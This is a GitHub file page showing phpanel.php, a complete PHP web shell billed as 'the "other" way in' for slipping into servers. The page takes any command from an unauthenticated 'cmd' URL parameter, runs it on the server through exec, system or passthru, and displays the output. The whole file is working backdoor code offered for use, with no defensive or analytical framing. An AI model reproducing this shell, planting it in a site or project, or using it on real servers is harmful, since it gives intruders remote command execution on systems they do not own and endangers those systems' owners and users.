-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathphpanel.php
More file actions
101 lines (89 loc) · 3.18 KB
/
phpanel.php
File metadata and controls
101 lines (89 loc) · 3.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>PHPanel - The "other" way in</title>
<style>
body{
background-color: #e8e8e8;
text-align: center;
}
h1{
color: #5c5c5c;
}
p{
color: #757575;
}
#output{
padding: 10px;
text-align: left;
background-color: #cfcfcf;
margin: 0 auto;
width: 90%;
border-radius: 15px;
margin-top: 15px;
}
</style>
</head>
<body>
<h1>PHPanel - The "other" way in</h1>
<p>When someone closes their door, I slip in trought their chimney</p>
<form action="">
<label for="cmd">Command:</label>
<br>
<br>
<input type="text" name="cmd" id="">
<br>
<label for="exec">Exec</label>
<input type="checkbox" name="exec" value="true" <?php if(isset($_GET['exec']) && $_GET['exec'] == 'true'){echo "checked";}?>>
<label for="system">System</label>
<input type="checkbox" name="system" value="true" <?php if(isset($_GET['system']) && $_GET['system'] == 'true'){echo "checked";}?>>
<label for="passthrou">Passthru</label>
<input type="checkbox" name="passthru" value="true" <?php if(isset($_GET['passthru']) && $_GET['passthru'] == 'true'){echo "checked";}?>>
<br>
<button>Send in!</button>
</form>
<div id="output">
<?php
$get = $_GET['cmd'] ?? die("Type your command above and choose your execution function");
function get_exec($get){
$_temp = [];
exec($get, $_temp);
return $_temp;
}
function get_system($get){
return system($get);
}
function get_passthru($get){
return passthru($get);
}
// Real
if (isset($_GET['exec'])){
echo "<h2>Exec data:</h2><hr>";
echo "<div>";
foreach (get_exec($get) as $o){
echo "<h5>{$o}</h5>";
}
echo "</div>";
}
if (isset($_GET['system'])){
echo "<h2>System data:</h2><hr>";
echo "<div>";
foreach(preg_split('/\n/', get_system($get)) as $o){
echo "<h5>{$o}</h5>";
}
echo "</div>";
}
if (isset($_GET['passthru'])){
echo "<h2>Passthru data:</h2><hr>";
echo "<div>";
foreach(preg_split('/\n/', get_passthru($get)) as $o){
echo "<h5>{$o}</h5>";
}
echo "</div>";
}
?>
</div>
</body>
</html>